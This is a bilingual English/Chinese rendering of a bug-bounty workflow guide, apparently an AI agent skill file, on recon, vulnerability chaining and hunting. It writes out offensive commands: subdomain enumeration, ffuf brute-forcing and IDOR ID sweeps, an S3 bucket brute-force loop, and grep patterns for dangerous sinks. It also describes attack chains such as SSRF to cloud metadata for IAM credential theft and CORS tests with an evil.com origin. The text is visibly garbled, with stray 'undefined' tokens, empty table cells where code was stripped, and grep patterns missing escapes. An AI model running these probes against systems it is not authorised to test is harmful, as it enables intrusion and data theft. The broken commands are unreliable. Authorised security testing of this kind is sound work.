bug-bounty
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseBug Bounty Master Workflow
漏洞赏金大师工作流
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
完整流程:侦察 → 学习 → 挖掘 → 验证 → 报告。一个技能搞定所有。
THE ONLY QUESTION THAT MATTERS
唯一重要的问题
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
“攻击者现在能否针对未采取任何异常操作的真实用户执行此操作——且会造成实际危害(资金被盗、PII泄露、账户接管、代码执行)?”如果答案是否——停止。不要撰写报告。不要进一步探索。继续下一个目标。
Theoretical Bug = Wasted Time. Kill These Immediately:
理论漏洞 = 浪费时间。立即放弃这些:
| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
| 模式 | 放弃原因 |
|---|---|
| “理论上可能允许...” | 无法利用 = 不是漏洞 |
| “具备X、Y、Z条件的攻击者可能...” | 前置条件过多 |
| “实现错误但无实际影响” | 错误但无害 = 不是漏洞 |
| 包含漏洞的死代码 | 无法访问 = 不是漏洞 |
| 无密钥的源映射 | 无影响 |
| 仅DNS回调的SSRF | 需要数据泄露或内部访问 |
| 单独的开放重定向 | 需要ATO或OAuth链 |
| “如果...可用于链攻击” | 先构建攻击链,再报告 |
你必须证明实际危害。“可能”不是漏洞。要么证明它可行,要么放弃。
CRITICAL RULES
关键规则
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see.skills/bb-methodology/SKILL.md
- 先阅读完整范围——验证每个资产/域名都属于目标组织
- 拒绝理论漏洞——“攻击者现在能否窃取资金、泄露PII、接管账户或执行代码?”如果不能,停止。
- 快速放弃弱发现——撰写任何报告前先运行7问题审核门
- 撰写前验证——先检查变更日志、设计文档、部署脚本
- 一次专注一个漏洞类别——深入挖掘,不要广撒网
- 验证数据是否已公开——报告API“泄露”前先在隐身模式下检查Web UI
- 5分钟规则——如果目标在5分钟探测后无任何发现(全是401/403/404),继续下一个目标
- 以影响为先的挖掘——问“如果身份验证被攻破,最坏情况是什么?”如果没有有价值的东西,跳过目标
- 凭证泄露需要利用证明——找到密钥还不够,必须证明它们能访问什么
- 停止浅层侦察循环——不要探测403页面,不要grep分析密钥,不要检查无意义的 staging 域名
- 业务影响优先于漏洞类别——严重程度取决于上下文,而非仅漏洞类型
- 深入了解目标——挖掘前,像真实用户一样使用应用
- 不要过度依赖自动化——自动化扫描会触发WAF、速率限制,发现的都是其他人也能发现的漏洞
- 挖掘竞争较少的漏洞类别——XSS/SSRF/XXE竞争最激烈。扩展到:缓存投毒、Android/移动漏洞、业务逻辑、竞争条件、OAuth/OIDC链、CI/CD管道攻击
- 一小时规则——在一个目标上卡了一小时无进展?切换上下文
- 双眼法——结合系统性测试(清单)与异常检测(关注意外行为)
- T型知识——在一个领域深入,同时广泛了解所有领域
完整挖掘方法论——5阶段非线性工作流、开发者心理框架、会话纪律、分阶段工具路线、宽/深路线选择——详见。skills/bb-methodology/SKILL.md
A->B BUG SIGNAL METHOD (Cluster Hunting)
A→B漏洞信号法(集群挖掘)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
**当你发现漏洞A时,系统性地寻找附近的漏洞B和C。**这是漏洞赏金中最强大的方法论之一。单个漏洞有赏金,链攻击赏金是3-10倍。
Known A->B->C Chains
已知A→B→C链
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|---|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
| 漏洞A(信号) | 寻找漏洞B | 升级到C |
|---|---|---|
| IDOR(读取) | 同一端点上的PUT/DELETE | 完整账户数据操纵 |
| SSRF(任意) | 云元数据169.254.169.254 | IAM凭证泄露 → RCE |
| XSS(存储型) | 检查会话Cookie是否设置HttpOnly | 会话劫持 → ATO |
| 开放重定向 | OAuth redirect_uri接受你的域名 | 授权码窃取 → ATO |
| S3桶列表 | 枚举JS包 | Grep OAuth client_secret → OAuth链 |
| 速率限制绕过 | OTP暴力破解 | 账户接管 |
| GraphQL自省 | 缺少字段级身份验证 | 大规模PII泄露 |
| 调试端点 | 泄露环境变量 | 云凭证 → 基础设施访问 |
| CORS反射源 | 使用credentials: include测试 | 带凭证的数据窃取 |
| Host头注入 | 密码重置投毒 | 通过重置链接实现ATO |
Cluster Hunt Protocol (6 Steps)
集群挖掘协议(6步骤)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.1. 确认A 用HTTP请求验证漏洞A真实存在
2. 映射同级端点 找到同一控制器/模块/API组中的所有端点
3. 测试同级端点 对每个同级端点应用相同的漏洞模式
4. 链攻击 如果同级端点有不同漏洞类别,尝试组合A + B
5. 量化影响 “影响N个用户” / “暴露X价值” / “N条记录”
6. 报告 每个链攻击一份报告(而非每个漏洞一份)。链攻击赏金更高。Real Examples
真实案例
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chainVienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impactCoinbase S3→Bundle→Secret→OAuth链:
A: S3桶可公开列出(单独为低危)
B: JS包包含OAuth客户端凭证
C: OAuth流程缺少PKCE强制
结果:完整授权码拦截链Vienna聊天机器人链:
A: 生产环境中调试参数激活(单独为信息级)
B: 聊天机器人在响应中渲染HTML(dangerouslySetInnerHTML)
C: 通过机器人响应实现存储型XSS,对其他用户可见
结果:P2级发现,有实际影响TOP 1% HACKER MINDSET
前1%黑客思维
How Elite Hackers Think Differently
精英黑客的思考方式有何不同
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
普通挖掘者:运行工具,检查清单,30分钟后放弃。
前1%挖掘者:构建应用内部的心智模型。问“为什么它这样工作?”而非“这个端点做什么?”,而是“什么业务决策导致开发者这样构建它,他们可能采取了什么捷径?”
Pre-Hunt Mental Framework
狩猎前心智框架
Step 1: Crown Jewel Thinking
步骤1:皇冠珠宝思维
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
在接触任何东西之前,问:“如果我是攻击者,我能对这个应用做的一件最具破坏性的事情是什么?”
- 金融应用 → drain资金,转移到攻击者账户
- 医疗保健 → PII泄露,HIPAA违规
- SaaS → 租户数据交叉,管理员接管
- 身份验证提供商 → 完整SSO链 compromise
Step 2: Developer Empathy
步骤2:开发者同理心
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
像构建功能的开发者一样思考:
- 最简单的实现是什么?
- 疲惫的开发者在凌晨2点会采取什么捷径?
- 身份验证在哪里检查——控制器?中间件?数据库层?
- 不经过端点A直接调用端点B会发生什么?
Step 3: Trust Boundary Mapping
步骤3:信任边界映射
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?客户端 → CDN → 负载均衡器 → 应用服务器 → 数据库
^ ^ ^
应用在哪里停止信任输入?
它在哪里假设输入已被验证?Step 4: Feature Interaction Thinking
步骤4:功能交互思维
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
- 这个新功能是否重用旧身份验证,还是有自己的身份验证?
- 移动API是否与Web应用共享身份验证逻辑?
- 这个功能是由同一团队还是第三方构建的?
The Top 1% Mental Checklist
前1%心智清单
- I know the app's core business model
- I've used the app as a real user for 15+ minutes
- I know the tech stack (language, framework, auth system, caching)
- I've read at least 3 disclosed reports for this program
- I have 2 test accounts ready (attacker + victim)
- I've defined my primary target: ONE crown jewel I'm hunting for today
- 我了解应用的核心业务模型
- 我作为真实用户使用应用15分钟以上
- 我了解技术栈(语言、框架、身份验证系统、缓存)
- 我阅读了该项目至少3份已披露报告
- 我准备了2个测试账户(攻击者 + 受害者)
- 我定义了主要目标:今天要挖掘的一个皇冠珠宝
Mindset Rules from Top Hunters
顶级挖掘者的思维规则
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
“挖掘功能,而非端点”——找到服务于某个功能的所有端点,然后测试它们之间的交互。
“授权不一致是你的朋友”——如果应用在9个地方检查身份验证,但第10个地方不检查,那就是你的漏洞。
“新功能 == 未审核”——过去30天内推出的功能安全成熟度最低。
“考虑二阶影响”——二阶SSRF:URL保存在数据库中,由定时任务获取。二阶XSS:存储时被清理,在管理面板中不安全地渲染。
“跟随资金流向”——任何涉及支付、计费、信用、退款的功能,都是开发者最容易在安全上走捷径的地方。
“移动应用使用的API”——移动应用通常调用更旧/不同版本的API。同一家公司,不同攻击面,成熟度更低。
“差异发现漏洞”——比较旧API文档与新文档。比较移动API与Web API。比较免费用户可请求的内容与付费用户在响应中得到的内容。
TOOLS
工具
Go Binaries
Go二进制工具
| Tool | Use |
|---|---|
| subfinder | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |
| 工具 | 用途 |
|---|---|
| subfinder | 被动子域名枚举 |
| httpx | 探测存活主机 |
| dnsx | DNS解析 |
| nuclei | 模板扫描器 |
| katana | 爬虫 |
| waybackurls | 归档URL |
| gau | 已知URL |
| dalfox | XSS扫描器 |
| ffuf | 模糊测试器 |
| anew | 去重追加 |
| qsreplace | 替换参数值 |
| assetfinder | 子域名枚举 |
| gf | Grep模式(xss, sqli, ssrf, redirect) |
| interactsh-client | OOB回调 |
Tools to Install When Needed
需要时安装的工具
| Tool | Use | Install |
|---|---|---|
| arjun | Hidden parameter discovery | |
| paramspider | URL parameter mining | |
| kiterunner | API endpoint brute | |
| cloudenum | Cloud asset enumeration | |
| trufflehog | Secret scanning | |
| gitleaks | Secret scanning | |
| XSStrike | Advanced XSS scanner | |
| SecretFinder | JS secret extraction | |
| sqlmap | SQL injection | |
| subzy | Subdomain takeover | |
| 工具 | 用途 | 安装命令 |
|---|---|---|
| arjun | 隐藏参数发现 | |
| paramspider | URL参数挖掘 | |
| kiterunner | API端点暴力破解 | |
| cloudenum | 云资产枚举 | |
| trufflehog | 密钥扫描 | |
| gitleaks | 密钥扫描 | |
| XSStrike | 高级XSS扫描器 | |
| SecretFinder | JS密钥提取 | |
| sqlmap | SQL注入 | |
| subzy | 子域名接管 | |
Static Analysis (Semgrep Quick Audit)
静态分析(Semgrep快速审计)
bash
undefinedbash
undefinedInstall: pip3 install semgrep
安装:pip3 install semgrep
Broad security audit
广泛安全审计
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
Language-specific rulesets
特定语言规则集
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
Targeted rules
目标规则
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
Custom pattern (example: find SQL concat in Python)
自定义模式(示例:在Python中查找SQL拼接)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
Output to file for analysis
输出到文件进行分析
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefinedsemgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefinedFFUF Advanced Techniques
FFUF高级技巧
bash
undefinedbash
undefinedTHE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
唯一规则:始终使用-ac(自动校准,自动过滤噪声)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
已认证原始请求文件 — IDOR测试(将Burp请求保存到req.txt,将ID替换为FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
seq 1 10000 | ffuf --request req.txt -w - -ac
Authenticated API endpoint brute
已认证API端点暴力破解
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
Parameter discovery
参数发现
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
Hidden POST parameters
隐藏POST参数
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
Subdomain scan
子域名扫描
ffuf -w subs.txt -u https://FUZZ.target.com -ac
ffuf -w subs.txt -u https://FUZZ.target.com -ac
Filter strategies:
过滤策略:
-fc 404,403 Filter status codes
-fc 404,403 过滤状态码
-fs 1234 Filter by response size
-fs 1234 按响应大小过滤
-fw 50 Filter by word count
-fw 50 按单词数过滤
-fr "not found" Filter regex in response body
-fr "not found" 按响应体中的正则过滤
-rate 5 -t 10 Rate limit + fewer threads for stealth
-rate 5 -t 10 速率限制 + 更少线程以实现 stealth
-e .php,.bak,.old Add extensions
-e .php,.bak,.old 添加扩展名
-o results.json Save output
-o results.json 保存输出
undefinedundefinedAI-Assisted Tools
AI辅助工具
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
- strix (usestrix.com) — 开源AI扫描器,用于自动化初始扫描
PHASE 1: RECON
阶段1:侦察
Standard Recon Pipeline
标准侦察流程
bash
undefinedbash
undefinedStep 1: Subdomains
步骤1:子域名
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
Step 2: Resolve + live hosts
步骤2:解析 + 存活主机
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
Step 3: URL collection
步骤3:URL收集
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
Step 4: Nuclei scan
步骤4:Nuclei扫描
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
Step 5: JS secrets
步骤5:JS密钥
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
Run SecretFinder on each JS file
在每个JS文件上运行SecretFinder
Step 6: GitHub dorking (if target has public repos)
步骤6:GitHub dorking(如果目标有公共仓库)
GitDorker -org TARGET_ORG -d dorks/alldorksv3
GitDorker -org TARGET_ORG -d dorks/alldorksv3
undefinedundefinedCloud Asset Enumeration
云资产枚举
bash
undefinedbash
undefinedManual S3 brute
手动S3暴力破解
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
undefinedfor suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
undefinedAPI Endpoint Discovery
API端点发现
bash
undefinedbash
undefinedffuf API endpoint brute
ffuf API端点暴力破解
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefinedffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefinedHackerOne Scope Retrieval
HackerOne范围获取
bash
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'bash
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'Quick Wins Checklist
快速胜利清单
- Subdomain takeover (,
subjack)subzy - Exposed (
.git)/.git/config - Exposed env files (,
/.env)/.env.local - Default credentials on admin panels
- JS secrets (SecretFinder, jsluice)
- Open redirects (,
?redirect=,?next=)?url= - CORS misconfig (test + credentials)
Origin: https://evil.com - S3/cloud buckets
- GraphQL introspection enabled
- Spring actuators (,
/actuator/env)/actuator/heapdump - Firebase open read ()
https://TARGET.firebaseio.com/.json
- 子域名接管 (,
subjack)subzy - 暴露的(
.git)/.git/config - 暴露的环境文件 (,
/.env)/.env.local - 管理面板默认凭证
- JS密钥 (SecretFinder, jsluice)
- 开放重定向 (,
?redirect=,?next=)?url= - CORS配置错误(测试 + 凭证)
Origin: https://evil.com - S3/云桶
- GraphQL自省启用
- Spring actuators (,
/actuator/env)/actuator/heapdump - Firebase开放读取 ()
https://TARGET.firebaseio.com/.json
Technology Fingerprinting
技术指纹识别
| Signal | Technology |
|---|---|
Cookie: | Laravel |
Cookie: | PHP |
Header: | Node.js/Express |
Response: | WordPress |
Response: | GraphQL |
Header: | Next.js |
| 信号 | 技术 |
|---|---|
Cookie: | Laravel |
Cookie: | PHP |
Header: | Node.js/Express |
Response: | WordPress |
Response: | GraphQL |
Header: | Next.js |
Framework Quick Wins
框架快速胜利
Laravel: , , ,
WordPress: , ,
Node.js: , (introspection),
AWS Cognito: (leaks Pool ID), CORS reflects arbitrary origins
/horizon/telescope/.env/storage/logs/laravel.log/wp-json/wp/v2/users/xmlrpc.php/?author=1/.env/graphql/_debug/oauth2/userInfoLaravel: , , ,
WordPress: , ,
Node.js: , (自省),
AWS Cognito: (泄露Pool ID), CORS反射任意源
/horizon/telescope/.env/storage/logs/laravel.log/wp-json/wp/v2/users/xmlrpc.php/?author=1/.env/graphql/_debug/oauth2/userInfoSource Code Recon
源代码侦察
bash
undefinedbash
undefinedSecurity surface
安全面
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE"
git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE"
git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
Dev breadcrumbs
开发者痕迹
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
Dangerous patterns (JS/TS)
危险模式(JS/TS)
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules
grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js"
grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules
grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js"
grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
Dangerous patterns (Solidity)
危险模式(Solidity)
grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefinedgrep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefinedLanguage-Specific Grep Patterns
特定语言Grep模式
bash
undefinedbash
undefinedJavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
JavaScript/TypeScript — 原型污染, postMessage, RCE sink
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules
grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules
grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules
grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules
grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
Python -- pickle, yaml.load, eval, shell injection
Python — pickle, yaml.load, eval, shell注入
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test
grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test
grep -rn "import|exec(" --include="*.py"
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test
grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test
grep -rn "import|exec(" --include="*.py"
PHP -- type juggling, unserialize, LFI
PHP — 类型混淆, unserialize, LFI
grep -rn "unserialize|eval(|preg_replace.e" --include=".php"
grep -rn "==.*password|==.token|==.hash" --include=".php"
grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
grep -rn "unserialize|eval(|preg_replace.e" --include=".php"
grep -rn "==.*password|==.token|==.hash" --include=".php"
grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
Go -- template.HTML, race conditions
Go — template.HTML, 竞争条件
grep -rn "template.HTML|template.JS|template.URL" --include=".go"
grep -rn "go func|sync.Mutex|atomic." --include=".go"
grep -rn "template.HTML|template.JS|template.URL" --include=".go"
grep -rn "go func|sync.Mutex|atomic." --include=".go"
Ruby -- YAML.load, mass assignment
Ruby — YAML.load, 批量赋值
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb"
grep -rn "attr_accessible|permit(" --include=".rb"
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb"
grep -rn "attr_accessible|permit(" --include=".rb"
Rust -- panic on network input, unsafe blocks
Rust — 网络输入触发panic, unsafe块
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode"
grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"
---grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode"
grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"
---PHASE 2: LEARN (Pre-Hunt Intelligence)
阶段2:学习(狩猎前情报)
Read Disclosed Reports
阅读已披露报告
bash
undefinedbash
undefinedBy program on HackerOne
HackerOne上按项目查询
curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefinedcurl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined"What Changed" Method
“变化点”方法
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
- 找到类似技术的已披露报告
- 获取修复提交
- 阅读差异——识别反模式
- 在目标中grep相同的反模式
Threat Model Template
威胁模型模板
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___目标: _______________
皇冠珠宝: 1.___ 2.___ 3.___
攻击面:
[ ] 未认证: 登录, 注册, 密码重置, 公共API
